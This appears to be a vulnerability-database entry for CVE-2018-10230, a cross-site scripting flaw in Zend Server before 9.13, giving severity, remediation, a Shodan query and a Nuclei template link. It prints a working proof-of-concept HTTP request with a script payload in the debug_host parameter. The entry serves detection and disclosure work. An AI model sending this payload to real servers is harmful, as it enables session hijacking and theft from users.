🔙 목록으로 돌아가기

CVE-2018-10230: Zend Server <9.13 - Cross-Site Scripting

TitleZend Server <9.13 - Cross-Site Scripting
Authormarcos_iaf
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade Zend Server to version 9.13 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.03364
CVE IDCVE-2018-10230
CWE IDCWE-79
Shodan Querycpe:"cpe:2.3:a:zend:zend_server"
Tags cve cve2018 xss zend vuln

🔍 Vulnerability Description

Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.

🌐 HTTP Request

GET /index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10230.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-10230.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A